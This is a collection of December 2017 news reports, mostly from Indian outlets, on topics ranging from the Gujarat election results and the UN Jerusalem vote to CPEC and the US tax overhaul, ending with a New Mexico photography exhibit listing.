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The freedom fighters and rehabilitation division of the home ministry, which handles the Sri Lankan Tamilian and Tibetan refugee issues, has been advised to handle the issues relating to Tibetan and Sri Lankan Tamil refugees to ensure good living conditions to the refugees, an official statement said.

There are around 1.50 lakh Sri Lankan Tamil refugees and 1.2 lakh Tibetan refugees in the country.

The meeting also decided that the distribution of pension through banks to the freedom fighters under the Swantratra Sainik Samman Yojana should be further streamlined by strengthening pension distribution monitoring cell to reconcile on monthly basis.

It was informed in the meeting that 73 per cent of pension accounts have been linked to Aadhaar by the banks and the rest of the pensioners will be done at the earliest by coordinating with all 23 banks, the statement said.

The home minister also reviewed the progress of developmental activities for settling about 1,000 returnees from former Indian enclaves in Bangladesh and infrastructure development in 51 Bangladeshi enclaves in Cooch Behar District of West Bengal.

So far, Rs 413 crore has been released to the government of West Bengal for developing the infrastructure. The progress of the implementation should be monitored regularly to ensure timely completion of the project to rehabilitate the returnees, the statement said quoting the home minister. PTI ACB ASK ASK

--- ENDS ---
Chennai: Campaigning for the high-stakes December 21 bypoll to the RK Nagar assembly seat here will end this evening and the outcome of the hustings is likely to be seen as a report card of the 17-month old AIADMK government.

The political campaign will end by 5 pm and the Election Commission has made it clear that there will be no related activities afterward as per rules.

The outcome of the by-election could serve as a report card of the ruling AIADMK which faced turbulence after late chief minister J Jayalalithaa's death.

The campaign witnessed the top leaders of various parties--Chief Minister K Palaniswami and his deputy O Panneerselvam of the AIADMK, DMK leader MK Stalin and sidelined AIADMK leader TTV Dhinakaran--reaching out to voters with hectic campaign schedules.

All parties are keen to make a mark in the election which has become a battle of pride as Jayalalithaa represented the constituency earlier. Her death in December last year necessitated the bypoll.

The campaign also saw old rivals Stalin and MDMK founder Vaiko share stage for the first time in many years. The opposition is putting up a united show in a bid to to snatch victory in this city segment.

Many opposition parties, including the Congress, the VCK and the Left have backed DMK candidate N Maruthuganesh.

Dhinakaran, who fell out of favour with Palaniswami and also lost the battle for party's 'Two Leaves' symbol to the latter, is fighting as an independent and has expressed confidence that he can spring a surprise against the AIADMK's E Madhusudhanan as well as the DMK.

With 59 candidates in fray, the bypoll is virtually confined to old warhorse Madhusudhanan, DMK's greenhorn Maruthuganesh and Dhinakaran.

Polling will be held on December 21 while the votes will be taken up for counting on December 24.


Mumbai: Shilpa Shinde, who is one of the most loved Bigg Boss 11 contestants, ended up disappointing many of her admirers by voting in favour of Priyank Sharma during the weekend ka vaar episode of Sunday. And by doing so, she chose not to save Hiten Tejwani, another Bigg Boss 11 favourite, from getting evicted.

Former Bigg Boss contestant Suyyash Rai took to Twitter to express his disappointment over Tejwanis eviction and Shilpas decision to vote him out.

He tweeted:

But this kind of eviction is the worst... all this while you complete your journey on your own and than one fine day housemates decide who will go out WOW its sooo fuc**** unfair !!!. he tweeted.

The biggest plot twist in the history of Bigg Boss unfolded on Sunday when superstar host Salman Khan revealed that the housemates had to decide who among Priyank Sharma and Hiten Tejwani deserved to get voted out of the contest.

While Hiten was most loved and respected in the house, his presence in the house seemed to be too much of a competition and the gharwale, by majority vote, decided to evict Hiten from Bigg Boss 11.

Hiten Tejwani entered the house as a celebrity but his grounded persona ensured he was most respected contestant in the house. His matured outlook often helped him deal with tricky situations, and he was like a brother-figure to all. Fondly known as Bhau he took Akash, Priyank and Puneesh under his wings; and maintained a close bond with Vikas. Arshis love for him sparked audience interest and the two were often paired together for various tasks. However, being a family man he constantly declined her advances and stayed true to his wife Gauri Pradhan.

He was fair and played each task by following the rules to the T! He was the most loved Captain of the house and managed to run the house smoothly without any hiccups or hassles.

After being evicted from the house, Hiten Tejwani said, It was a wonderful and fantastic experience! I came out the same person that has walked into the house, though I am much calmer now. My sanity is intact!
New Delhi: In yet another incident of road accident due to low visibility, as many as ten cars crashed into each other on Lucknow-Agra Expressway in the early hours of a foggy Monday.

The pileup took place near Bangarmau in Unnao district of Uttar Pradesh when the ten cars crashed one-by-one due to dense fog cover and low visibility. While several passengers in the cars have suffered serious injuries, there has been no report of any fatality.

Most parts of north India comes under a blanket of fog in winter months - reducing visibility and making driving both difficult and dangerous. While numerous warnings are issued each year, every year sees road accidents causing either serious injuries or cutting short precious lives.

It is not just road journeys which become difficult. On Tuesday morning, as many as 28 trains arrived late at the New Delhi Railway Station while another 18 had to be cancelled due to low visibility.
Kolkata: A fire broke out at a beauty parlour in the central part of the city this morning, Fire Brigade sources said.

Three fire tenders fought for around half-an-hour to douse the blaze.

There was no report of any casualty as the fire broke out at around 7.30 am when the parlour was closed, the sources said.

The parlour is located on Camac Street, near Park Street crossing.

Passers-by spotted the flames and informed the police and fire brigade who broke open the shutters to put out the fire.

The sources said traffic had been diverted along that stretch for some time because of the fire suspected to be caused by short circuit.
UNITED NATIONS: The 193-member United Nations General Assembly will hold a rare emergency special session on Thursday at the request of Arab and Muslim states on US President Donald Trump`s decision to recognize Jerusalem as Israel`s capital.

Palestinian U.N. envoy Riyad Mansour said the General Assembly would vote on a draft resolution calling for Trump`s declaration to be withdrawn, which was vetoed by the United States in the 15-member U.N. Security Council on Monday.

The remaining 14 Security Council members voted in favor of the Egyptian-drafted resolution, which did not specifically mention the United States or Trump but which expressed "deep regret at recent decisions concerning the status of Jerusalem."

Mansour said on Monday he hoped there would be "overwhelming support" in the General Assembly for the resolution. Such a vote is non-binding, but carries political weight.

Under a 1950 resolution, an emergency special session can be called for the General Assembly to consider a matter "with a view to making appropriate recommendations to members for collective measures" if the Security Council fails to act.

Only 10 such sessions have been convened, and the last time the General Assembly met in such a session was in 2009 on occupied East Jerusalem and Palestinian territories. Thursday`s meeting will be a resumption of that session.

Trump abruptly reversed decades of U.S. policy this month when he recognized Jerusalem as Israel`s capital, generating outrage from Palestinians and the Arab world and concern among Washington`s western allies.

Trump also plans to move the U.S. embassy to Jerusalem from Tel Aviv. The draft U.N. resolution calls upon all countries to refrain from establishing diplomatic missions in Jerusalem.

U.S. Ambassador Nikki Haley said on Monday that the resolution was vetoed in the Security Council in defense of U.S. sovereignty and the U.S. role in the Middle East peace process. She criticized it as an insult to Washington and an embarrassment to council members.

Israel considers Jerusalem its eternal and indivisible capital and wants all embassies based there. Palestinians want the capital of an independent Palestinian state to be in the city`s eastern sector, which Israel captured in a 1967 war and annexed in a move never recognized internationally.
United Nations: A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.



After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d`affaires of China`s permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.

The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, Xinhua quoted Wu as telling to the Security Council.

A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem.

The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China`s "yes" vote on the draft resolution.

The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States. Wu called on the Security Council and the international community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.

China has consistently supported and pushed forward the

Source IANS

SCRIPT



United Nations, Dec 19 (IANS) A Chinese envoy has called for unity of the United Nations Security Council (UNSC) and the international community at large over the issue of Jerusalem and for common effort toward peace in the Middle East.





After a vote in the UNSC on a draft resolution on the status of Jerusalem on Monday, Wu Haitao, charge d`affaires of China`s permanent mission to the United Nations, said the issue of Palestine is at the core of Middle East peace and a root-cause issue.



The issue of Jerusalem is particularly complicated and sensitive, and involves the basis for finding a solution to the Palestinian issue, Xinhua quoted Wu as telling to the Security Council.



A series of Security Council resolutions, including Resolution 2334, made stipulations on the issue of Jerusalem.



The draft resolution put to a vote on Monday was in line with previous Security Council resolutions and is a continuation of the contents and spirit of past resolutions, said Wu, explaining China`s "yes" vote on the draft resolution.



The Egyptian-drafted text won the support of 14 members of the Security Council, but was vetoed by the United States.



Wu called on the Security Council and the international community at large to remain united in an effort to de-escalate tensions concerning the status of Jerusalem for the sake of stability in the region and the Middle East peace process.



China has consistently supported and pushed forward the Middle East peace process, he said.
China is not used to hearing the word 'no' from countries that rely on it. And it seems to have forced its way with Pakistan. Islamabad flipped on its earlier refusal to let China trade in the yuan at the Gwadar Port and is now saying it will consider allowing it. Not just this, Pakistan has agreed to conduct bilateral trade with China in yuan, Pakistani media have reported.

Pakistan's capitulation was revealed as part of a ceremony to reveal the Long-Term Plan (LTP) of the China-Pakistan Economic Corridor (CPEC) on Monday. In fact, the concession seems to have gone further than what China had earlier asked for.

Pakistan has expressed its readiness to treat the yuan equal to the US dollar in terms of foreign exchange, and extending all the same facilities that the USD enjoys. This will effectively make the yuan the second international currency that Pakistan will trade in, apart from the USD, which is the global reserve currency.

"Pakistan shall promote the construction of Gwadar Port Free Zone and explore RMB offshore financial business in Gwadar Free Zone," the CPEC LTP said, according to Pakistani newspaper The Express Tribune.

"The use of Chinese currency in place of US dollar will benefit Pakistan (it) will reduce our reliance on the US dollar," said Pakistan's Planning and Development Minister Ahsan Iqbal, according to reports.

However, Iqbal clarified that the yuan would not be legal tender. This means while Pakistan-China trade might happen in the yuan, it will not have any value on the streets of Pakistan.

Whether China has strong-armed Pakistan into acceding to its demand is anyone's guess. Islamabad's rollback on allowing trade in the yuan comes after the Chinese stunned Pakistani officials on November 20 that they would stop funding for three road projects under CPEC.

The Chinese stop-funding threat had come after two back-to-back refusals by Pakistan. First, it had refused Chinese CPEC funding for the Diamer-Bhasha Dam project in Pakistan-occupied Kashmir (PoK), saying the terms of the Chinese proposals were against Pakistan's interests. Next, it had refused to allow the yuan for offshore trade at Gwadar.

The apparent Chinese use of force to get Pakistan to fall in line comes even as an increasing number of questions are being raised over whether CPEC is in Pakistan's interest. And, China is just not used to dealing with governments that think for themselves.

CPEC is a high-stakes game for China. It is presently the only operational part of Chinese President Xi Jinping's ambitious Belt and Road Initiative, also known as the One Belt One Road policy. Even as Beijing tries to bring more countries aboard, it faces apprehension over expert opinion that it is a debt trap. Perhaps proof of these apprehensions came true when Sri Lanka was forced to hand over control of its Hambantota Port to China as it was unable to repay its loans.

(Also read: United States urges Pakistan to prove it's a 'responsible steward' of its nuclear missiles)
Tokyo: Japan`s government on Tuesday approved the introduction of the US military`s land-based Aegis missile interceptor system, beefing up its defence against "serious" and "imminent" North Korea threats.

The regime in Pyongyang has fired two missiles over Japan this year and has threatened to "sink" the country into the sea.

Last month, North Korea test-fired an intercontinental ballistic missile (ICBM) that plunged into the waters of Japan`s exclusive economic zone.

"North Korea`s nuclear and missile development has entered a new stage of threat that is more serious and imminent to our country`s security," the government said as it endorsed the introduction of Aegis Ashore at a cabinet meeting.

Japan needs to drastically improve its missile defence, Tokyo added.

Japan plans to introduce the Aegis Ashore system at two locations, covering the entire nation with powerful radars.

The deployment will hand the US ally another layer of defence in addition to SM-3 guided missiles launched by Aegis destroyer vessels and Patriot Advanced Capability-3 (PAC-3) missiles.

However, it will take years before the Aegis Ashore system is operational, according to Japanese officials.

The contract is yet to be signed with the United States and deployment at two locations could cost a total of 200 billion yen ($1.8 billion), including the cost of building new facilities.

However, officials insisted the new system would boost Japan`s missile defence.

"Naval vessels need to return to their ports regularly for rest and refuelling, but if it`s ground deployment, we will be able to operate almost 24-7," an official said.

"We can be on permanent vigilance even when signs (of missile firing) are hard to detect," he said.

Japan is reportedly planning a record $46 billion defence budget for the next fiscal year in the face of the North Korean threat.

Defence Minister Itsunori Onodera said this month the country also plans to purchase long-range cruise missiles from US firms with a range of some 900 kilometres (560 miles).

The move would be controversial as Japan`s pacifist constitution bans the use of force as a means of settling international disputes.
New Delhi: In a string of verbal attacks on the United States, Pakistan's National Security Advisor Retired Lt Gen Nasser Khan Janjua has blamed Donald Trump administration of fostering unrest in South Asia and propping up India to keep a check on China.

Janjua said on Monday that the United States wants to prop up India to counter China's influence and that tensions in South Asia would be in their best interest. "The US wants imbalance in the region to ensure that China does not rise and that there is no resurgence of Russian powers in the region," he said, adding that the country was also against China-Pakistan Economic Corridor (CPEC).

Calling it preferential treatment, Janjua sais the United States has been calling upon New Delhi for a greater role in Afghanistan. "The US is willing to give India a bigger role in Afghanistan while blaming Pakistan for its own failure in the region," he said, according to Pakistani newspaper Dawn. "India was given clear preference over Pakistan by the US even though India continuously threatens conventional war with Pakistan."

He then attacks the United States for asking Pakistan to crack down on home-grown terrorist outfits. "The US accuses Pakistan of having ties with the Haqqani network and the Taliban when, in actuality, Pakistan only started facing terrorism when it aligned its forces with the US," he said.

Janjua, who is serving as advisor to Pakistan Prime Minister on national security, claimed that his country has already destroyed the menace of terrorism and that even regions like Balochistan - where locals accuse Pakistani government of violating human rights, is aligned with national interests. "Pakistan has defeated the enemy's dangerous goal by defeating terrorism. Today, Balochistan is once again ringing with slogans of jeevay jeevay Pakistan (long live Pakistan)."

In recent months, calls for both Balochistan's independence and for Pakistan to crackdown on terrorists has increased manifold despite what Janjua claims. Posters demanding Baloch independence have repeatedly sprung up across European capitals while across the Atlantic, the United States has issued a string of stern messages for Pakistan to clamp down on Haqqani Network. Recently, US Secretary of State Rex Tillerson even said that he had warrned Islamand that Pakistan may lose territory if it did not fight home-grown terrorists.




Islamabad: Pakistan's ousted premier Nawaz Sharif today appeared before an accountability court here to face the corruption charges filed against him by the National Accountability Bureau in the Panama Papers scandal.

Sharif along with his daughter Maryam Sharif and son-in- law Muhammad Safdar directly went to the Accountability Court here after arriving from Lahore in a private jet.

Sharif, 67, came back from London on Sunday where he had gone with his daughter Maryam to see his ailing wife who is undergoing treatment for throat cancer there.

Judge Muhammad Bashir will conduct the trial proceedings and record testimonies of more prosecution witnesses.

NAB is expected to present three more witnesses in the court to have their statements recorded. So far, eight witnesses have testified against the Sharif family in three references.

The three references against the Sharif family are related to the Al-Azizia Company and Hill Metal Establishment, Flagship Investment Ltd and the Avenfield (London) properties.

Sharif and his sons, Hassan and Hussain, have been named in all three NAB references, while Maryam and husband Safdar have been named only in the Avenfield reference.

Last month, Sharif was indicted in all three cases while his daughter Maryam and her husband Muhammad Safdar, co- accused with Sharif in only one case, were also indicted along with Sharif.

Sharif?s sons Hassan and Hussian have failed to appear in the court despite repeated summons. It promoted the court to separate their cases.

Heavy security arrangements were made around the court premises.

The cases are based on July 28 verdict by the Supreme Court which disqualified Sharif and ordered to launch three corruption cases against him and his family, and one case against finance minister Ishaq Dar.
In an exclusive interview with India Today, Sonia Gandhi's political advisor Ahmed Patel said that the Grand Old Party needed a new strategy for urban Gujarat.

By Rahul Kanwal: On D-Day when the Congress lost the crucial Gujarat elections to the Bharatiya Janata Party (BJP) despite putting up a massive resistance under a transformed Rahul Gandhi, the Grand Old Party's master strategist and Sonia Gandhi's political adviser Ahmed Patel admitted that a new strategy is required to attract the urban youth.

In the first phase, the BJP had only a four-seat advantage over the Congress, but the gap widened in the second phase.

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When asked whether the "nasty and ugly" campaigning towards the end helped the saffron party score in the second phase, Patel said, "The BJP was expecting 150 seats. After the first phase, the BJP realised that it would be defeated. Therefore, they resorted to all kinds of tricks, gimmicks and dirty politics in the phase."

On the Congress rout in 43 out of 55 seats in urban Gujarat, Patel said, "We tried our level best; Congress meetings in urban areas were very successful. Unfortunately, we cannot understand why we won only one seat in Surat and four in Ahmedabad. Rahul Gandhi interacted a lot with urban youths, but we need to make extra efforts to get urban votes."

CONGRESS COULD HAVE DONE MORE

Patel admitted that the Congress could have done more ahead of the elections. He said there should have been better booth management and door-to-door campaigning adding that party work could have been started much earlier.

"Undecided voters were influenced by RSS workers working in villages and they indulged in polarisation," he alleged.

On the posters that were displayed in some parts of Surat urging Muslims to vote for the Congress to ensure that Patel becomes chief minister (CM) despite his low profile during the campaign, the leader shot back, "Gujarat and the whole country knows very well that it was a political party, not miscreants, who deliberately did it," referring apparently to the BJP. "Fortunately, this time the party did not use the word miyan for me."

"This time they used some ex-Army personnel's tweet as if they want Ahmed Patel as Chief Minister. They (the BJP) were clearly frustrated and they wanted to polarise the election," Patel said referring to the BJP's allegation that Pakistani Army's former director general Sardar Arshad Rafiq was backing Patel as CM.

CONGRESS WORKERS MORE ACTIVE AFTER RS ELECTIONS

Patel also denied that only his Rajya Sabha (RS) election was solely responsible for providing the necessary ballast to the party and bringing it back into contention in the state.

In an exclusive interview with India Today, the reclusive Congress stalwart from Gujarat denied that party was "dead and over" in the western coastal state, but magically bounced back after his RS election.

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"Even before my election to the Rajya Sabha, the Congress was very active. But yes, of course, Congress workers became very, very active after my election," he said.

When asked about a totally transformed Rahul, whose actions at times during his rookie days in politics "frustrated" Ahmed, the Congress veteran said, "I have never been frustrated with Rahul Gandhi; I am very fond of him. I too addressed some public meetings along with him during the Gujarat tour. I observed a lot of changes in him. He is very frank, social and knows how to interact with ordinary party workers."

Patel also said that Rahul needs to give more time to the nation after being elected Congress president when asked what is the guarantee that the Gandhi scion will not again jet to some foreign country for a 15-day New Year break like after the 2014 drubbing.

VIDEO | Gujarat Assembly Election Results: All you need to know

--- ENDS ---
WASHINGTON (Reuters) - U.S. President Donald Trump`s administration said on Monday that Russia interferes in the domestic political affairs of countries globally, but stopped short of accusing Moscow of meddling in the 2016 U.S. election.

The criticism of Russia, laid out in a new national security strategy based on Trump`s "America First" vision, reflects a view long held by U.S. diplomats that Russia actively undermines American interests at home and abroad, despite Trump`s own bid for warmer ties with President Vladimir Putin.

"Through modernized forms of subversive tactics, Russia interferes in the domestic political affairs of countries around the world," said the document.

It avoided directly citing what U.S. intelligence agencies say was Russian meddling in last year`s U.S. presidential election.

"Russia uses information operations as part of its offensive cyber efforts to influence public opinion across the globe. Its influence campaigns blend covert intelligence operations and false online personas with state-funded media, third-party intermediaries, and paid social media users or `trolls,`" the document said.

Trump has frequently spoken of wanting to improve relations with Putin, even though Russia has frustrated U.S. policy in Syria and Ukraine and done little to help Washington in its standoff with North Korea.

In a speech laying out his strategy, Trump noted that he received a call from Putin on Sunday to thank him for providing U.S. intelligence that helped thwart a bomb attack in the Russian city of St. Petersburg.

Trump said the collaboration was "the way it`s supposed to work."

"But while we seek such opportunities of cooperation, we will stand up for ourselves and we will stand up for our country like we have never stood up before," he said at the Ronald Reagan Building in downtown Washington.

The audience of about 650 people frequently applauded the speech. It included the military`s Joint Chiefs of Staff, several Cabinet secretaries, lawmakers, military personnel and officials from the intelligence community and other agencies.

A U.S. Justice Department investigation is looking into whether Trump campaign aides colluded with Russia, something that Moscow and Trump both deny.

U.S. intelligence agencies have concluded Russians tried to tip the election to Trump through hacking and releasing emails to embarrass Democratic candidate Hillary Clinton and spreading social media propaganda.

Facebook, Google and Twitter Inc are facing a backlash after saying Russians used their services to anonymously spread divisive messages among Americans in the run-up to the election.

Other Western nations, including France, have accused Russia of trying to interfere in their elections.



TRUMP STRATEGY

Congress mandates that every U.S. administration set out its national security strategy. The new Trump strategy is influenced strongly by the thinking of top national security officials rather than that of the president himself, said one official involved in preparing the document.

The Republican president`s strategy reflects his "America First" priorities of protecting the U.S. homeland and borders, rebuilding the military, projecting strength abroad and pursuing trade policies more favorable to the United States.

Talking points sent to U.S. embassies worldwide on what diplomats should say about the new strategy makes clear that the official U.S. position is tough on Russia.

An unclassified State Department cable, seen by Reuters, said: "Russia tries to weaken the credibility of America`s commitment to Europe. With its invasions of Georgia and Ukraine, Russia has demonstrated a willingness to use force to challenge the sovereignty of states in the region."Harry Kazianis, an analyst at the conservative Center for the National Interest think tank, said, "While things with Moscow might be warm and fuzzy for the moment, President Putin will not take too kindly to being labeled as what essentially amounts to as an enemy of America."

It drops Democratic former President Barack Obama`s 2016 description of climate change as a U.S. national security threat, aides said. Trump has vowed to withdraw the United States from the Paris climate accord unless changes are made to it.

The Trump administration lumps together China and Russia as competitors seeking to challenge U.S. power and erode its security and prosperity.

The singling out of China and Russia as "revisionist powers" also comes despite Trump`s own attempts to build strong relations Chinese President Xi Jinping.

A senior administration official said Russia and China were attempting to revise the global status quo - Russia in Europe with its military incursions into Ukraine and Georgia, and China in Asia by its aggression in the South China Sea. Russia denies the allegations that it meddled with the 2016 U.S. presidential election.

Trump has been working with Xi to exert pressure on North Korea over its nuclear and ballistic missile programs.

The administration warned that intellectual property theft by China is a national security problem.

We need to protect data in different ways. We need to ensure that the legislation we have, like CFIUS, is up to date and reflects the kinds of strategic investments that are taking place by other countries, an administration official said.

The Committee on Foreign Investment in the United States (CFIUS), which reviews the purchase of U.S. assets by foreign companies, has recently taken a strong stand against technology transfers to Chinese companies.
New Delhi: At a time when the global community at large has repeatedly shown concern about nuclear missiles in Pakistan falling into the hands of terrorists, the United States has asked Pakistan to prove that it is a responsible steward of its nuclear missiles, even as the country sees India in a leadership role.

Donald Trump administration announced its first public policy on Monday and through it, asked Pakistan to assure that its nuclear arsenal is completely safe. "The United States will also encourage Pakistan to continue demonstrating that it is a responsible steward of its nuclear assets, reads the policy released by the White House. "The prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention."

(Also read: Pakistan's secret nuclear facility tracked in Khyber Pakhtunkhwa)

The concern is hardly ill-founded as home-grown terror in Pakistan has repeatedly resulted in concern over the possibility of nuclear assets being attacked and taken over by rogue elements.

Several security experts have also warned against the security surrounding key nuclear installations in Pakistan. Rahmatullah Nabil, head of Afghanistans national directorate of security from 2010 to 2012 and from 2013 to 2015, warned earlier this year that Pakistan's nuclear assets are hardly safe. "Having served in senior roles in Afghanistans intelligence services, I have good reason to be sceptical about Pakistans ability to keep its nuclear weapons safe from extremists," he wrote for New York Times in August.

And the same scepticism may be within the political and diplomatic lanes of Washington as well. In its foreign policy, Trump administration further said that home-grown terrorism in Pakistan remains a grave concern for the United States. We will insist that Pakistan take decisive action against militant and terrorist groups operating from its soil. We will press Pakistan to intensify its counter-terrorism efforts, who target a partners own service members and officials," it read.

Relations between the United States and Pakistan have been slightly frosty in recent months with the former expressing a certain degree of displeasure with how much Pakistan has done to combat terrorism - especially home-grown terrorist groups like Haqqanis. Secretary of State Rex Tillerson has gone from admonishing to advising and back again in a bid to get Pakistan to increase its role. He even said he has warned officials in Islamabad that Pakistani cities may be run over by terrorists in the future if action is not taken in the present.

Pakistan, however, appears turning away from United States' advisories as it looks to foster better relations with China and get closer with Russia. Foreign Minister Khawaja Mohammad Asif even said that it would be better for his country to not depend on the United States and forge new ties.
WASHINGTON: The Republican-controlled US Congress will begin voting on Tuesday on the biggest overhaul of the US tax system in more than 30 years, with little standing in the way of the party's first major legislative triumph under President Donald Trump.

The House of Representatives, which introduced initial tax legislation barely six weeks ago on Nov. 2, was scheduled to vote on Tuesday afternoon. Senate Majority Leader Mitch McConnell said his chamber would vote on Tuesday evening.

With strict party-line votes expected in both chambers, passage appeared all but certain.

Republicans insist the sweeping package of tax cuts for corporations, small businesses and individuals will boost economic and job growth. They also see the measure as key to retaining their majorities in the House and Senate in elections next November. Democrats say the legislation will deepen the U.S. income gap between rich and poor.

The end-of-year sprint represents a remarkable recovery of Republican fortunes since the middle of this year, when the party`s drive to dismantle former Democratic President Barack Obama`s Obamacare healthcare law crumbled in the Senate and prospects for a tax overhaul seemed doomed by party infighting.

Lingering doubts about fate of the tax bill all but vanished on Monday after two of the last Senate Republican holdouts, Susan Collins and Mike Lee, agreed to support the legislation.

"I`m ready to vote," Republican Senator John Kennedy told Reuters. "I felt like we should have voted this weekend."

`NEW GILDED AGE`

Democrats, who unanimously oppose the Republican bill, railed against it as a giveaway to corporations and the wealthy that would add $1.5 trillion to the federal debt over the next decade.

"There are so many rip-offs in this bill that people are going to say this is some kind of new Gilded Age," said Senator Ron Wyden, top Democrat on the Senate Tax Committee.

Some 52 percent of adults oppose the tax plan, while 27 percent support it, according to Reuters/Ipsos polling.

The plan includes a steep tax cut for businesses and temporary tax cuts for individuals, which would expire in 2025. Middle-income households would see an average tax cut of $900 next year, while the wealthiest 1 percent would see an average cut of $51,000, according to the nonpartisan Tax Policy Center.

The House, where Republicans hold a 239-193 voting majority, was likely to see a smattering of "no" votes from Republican fiscal hawks and lawmakers from the high-tax states of New York, New Jersey and California who oppose a provision that would scale back a popular deduction for state and local taxes.

"It`s still a bill that`s going to give tax relief to other parts of America on the backs of New Yorkers. So I`m still going to vote `no,`" said Republican Representative Dan Donovan of New York.

Vice President Mike Pence took the precaution of rescheduling a trip to Egypt and Israel for January so he would be on hand this week in case his tie-breaking voting power is needed to ensure Senate passage of the bill.

Republicans, who control the 100-seat Senate by only a 52-48 margin, can afford to lose support from no more than two party lawmakers. Republican Senator Jeff Flake was still uncommitted late on Monday. Senator John McCain, who has brain cancer, was spending time with family in Arizona.

The legislation also would repeal a federal fine imposed on Americans under Obamacare for not obtaining health insurance coverage, a change that could undermine the 2010 healthcare law formally known as the Affordable Care Act.
Washington DC: The United States has vetoed a United Nations Security Council (UNSC) resolution calling for the withdrawal of President Donald Trump's recognition of Jerusalem as Israel's capital.

According to CNN, fourteen council members voted in favour of the Egyptian-sponsored resolution that would have demanded President Trump reverse course on the decision.

The US was the sole dissenting vote.

A spokesman for the Palestinian president, Mahmoud Abbas, responded to the veto by saying it was "unacceptable and threatens the stability of the international community because it disrespects it".

The U.S. ambassador to the U.N., Nikki Haley described the resolution as "an insult" that would not be forgotten.

"The United States will not be told by any country where we can put our embassy," she said.

"It's scandalous to say we are putting back peace efforts," she added. "The fact that this veto is being done in defence of American sovereignty and in defence of America's role in the Middle East peace process is not a source of embarrassment for us; it should be an embarrassment to the remainder of the security council."

The move comes after Trump unilaterally recognised Jerusalem as Israel's capital.

The one-page Egyptian draft resolution, according to local media reports, "demands that all States comply with Security Council resolutions regarding the Holy City of Jerusalem, and not to recognize any actions or measures contrary to those resolutions."

The new resolution would need at least nine votes in favour out of 15 and no vetoes by any of the UNSC permanent members to be passed.

Without any mention of the U.S. or Trump, the resolution expresses "deep regret at recent decisions concerning the status of Jerusalem".

Trump's Jerusalem move has prompted international criticism and sparked protests across the world.
Hardik Patel-led PAAS in the rural areas and farmers did not favour BJP. They preferred Rahul Gandhi-led Congress. On the other hand, the urban areas solidly backed the BJP, rejecting GST and demonetisation.

By India Today Web Desk: The just-concluded election to the 182-member Gujarat Assembly must have taught the ruling BJP a lesson or two. Though the party won for a record sixth consecutive time since 1995, it managed to scrape through the magic figure of 92 by bagging 99 seats.

The BJP's tally dipped by a whopping 16 seats - from 115 in the 2012 poll - even though Prime Minister Narendra Modi and party president Amit Shah had exuded confidence that the minimum score would be 150 seats.

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At least two major factors - PAAS and 'kapaas' - worked against the BJP.

PAAS stands for Hardik Patel-led Patidar Anamat Adnolan Samiti and 'kapaas' (cotton) for the cotton, peanuts and other farmers.The Patidars in the rural areas largely voted against the BJP.

As a result the BJP's vote share and seats in the rural areas saw a marked dip.

As against this, the urban voters came in solid support of the BJP. The high vote share and number of seats proved that Goods and Services Tax (GST) and demonetisation were non-issues in the cities and towns despite the initial perception to the contrary.

PAAS AND KAPAAS

The Patidars in the rural areas, under the influence of PAAS convener Hardik Patel, appear to have dealt a serious blow to the BJP. Hardik extended his support to the Congress in the election.

The Patidars may have contributed in restricting the ruling party to 99 seats. Out of 52 seats where Patidars constitute 20 per cent of the population or more, BJP won 28 and Congress 23. In 2012, the BJP won 36 seats while the Congress 14.

The role of Patidars in the impressive performance of the Congress in Saurashtra is being considered to be crucial. The Congress won 30 seats while the BJP 23 and NCP 1.

Of the 98 rural seats in the state, BJP won a mere 39, Congress and its allies 55.

As far as the farmers are concerned, they are suffering due to fall in prices of farm produce. Agrarian distress has hit them hard.

The BJP seems to have done little for the farmers in 22 years, including 13 years of Narendra Modi as the state chief minister. They appear to have avenged their neglect by the successive BJP governments since 1995.

GST AND DEMO

Of the 39 urban seats, BJP won majority of the seats (33) while the Congress just six. Moreover, of the 45 semi-urban ('rurban') seats, BJP won 26 and Congress 18.

BJP managed to enhance its vote share over the 2012 levels in urban seats.

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Though Rahul Gandhi made GST as one of his main weapons - calling it Gabbar Singh Tax - and also attacked the Modi government over demonetisation, these issues did not appeal to the urban voters.

Even the textile and diamond hub of Surat rejected the anti-GST and demonetisation tirade of Rahul Gandhi. It returned 15 BJP candidates of the total 16 to the Assembly.

Of the 55 urban constituencies in central Gujarat spread over Ahmedabad, Surat, Vadodara, and Rajkot, the BJP won 44 seats, four less than its tally in 2012. The Congress has won the remaining 11 seats, four more than in 2012.

Still, overall the BJP dominated in the urban and the semi-urban areas.

But for them, it would have been difficult for the BJP to retain power for the sixth consecutive term in Gujarat.

--- ENDS ---
Award-winning documentary filmmaker and fine-art photographer Miguel Gandert shows his work highlighting his mestizaje heritage, and the fusion and tension of the relationship between Spanish Colonial and Native Cultures of the Americas. Runs through 12/29.

Querer means to want, to desire, to be in a place, with its people. In folk terminology, querencia is such a place, the center space of desire, the root of belonging and yearning to belong, that vicinity where you first beheld the light. Querencia, in collective terms, is homeland. ~Enrique Lamadrid, Nuevo Mexico Profundo

Miguel Gandert tells stories. He tells stories of his homeland, New Mexico (and beyond), its people and the cultural practices that distinguish communities from each other while simultaneously revealing their kinship. You will have to form your own words, however. Ganderts stories are told through penetrating, black and white photos. A primary focus of his work is his own mestizaje heritage and the fusion and tension of the relationship between Spanish Colonial and Native Cultures of the Americas.

Miguel Gandert, a native of Espanola, NM, is an award-winning documentary and fine-art photographer and filmmaker. His photographs have been shown in galleries and museums throughout the world and are in numerous public collections including the Smithsonian Museum of American Art, the Museum of Fine Arts in Boston and the National Museum of American History and Art at the Smithsonian.

Querencia: Rituals of the Rio Arriba opens Friday, October 6 at the New Mexico Humanities Council, 4115 Silver Ave SE, Albuquerque. An artists reception will be 6:00 pm  8:00 pm with an artist's discussion at 7:00 pm. The exhibit closes December 29, 2017.
PLEASE NOTE!

Due to the March 23, 2020 NM DOH Public Health Order, These Event Listings Are Not Accurate!

